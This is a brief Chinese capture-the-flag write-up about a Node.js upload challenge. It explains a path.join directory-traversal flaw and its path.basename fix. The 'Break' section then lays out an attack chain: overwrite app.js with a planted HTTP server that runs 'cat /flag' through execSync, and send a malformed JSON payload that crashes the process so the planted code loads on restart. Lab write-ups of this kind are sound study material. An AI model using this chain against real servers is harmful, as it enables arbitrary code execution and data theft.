大佬们太强了带带我行不行啊(
UpNodeTrap
1 | if (req.method === 'POST' && req.url === '/upload') { |
Fix
成熟的 Web 开发一眼就看出来了问题在哪里.jpg
path.join() 会造成目录穿越,构建包含 ../ 的文件名就可以实现任意路径写。
直接用 path.basename(filename) 过滤即可:
1 | - const filePath = path.join(uploadsDir, filename); |
Break
是赛后想出来的思路,不确定比赛环境能不能打。
既然题目说在某些特定的输入下会 Crash,那就构造这样的输入让 node 进程崩溃重启,进而加载我们想要的 js。
结合上面的任意文件写,可以直接覆盖 app.js 来让 node 加载自定义代码,在 app.js 中写一个 shell 监听 9999 端口,访问后直接返回 flag :
1 | require('http').createServer((req, res) => { res.end(require('child_process').execSync("cat /flag"))}).listen(9999); |
现在构建一个非法输入,当传入 filename 为 非字符串类型 的时候,会触发 TypeError:
1 | TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received type number (1) |
由于代码中没有对这种情况检查或进行错误捕获,传入下述 payload 可以直接使进程崩溃。
1 | { "filename": 1, "content": "1" } |
理论上这题应该会重新把 node 拉起来,这时由于 node 执行的代码已经被我们替换,就可以直接访问题目端口获得 flag 了。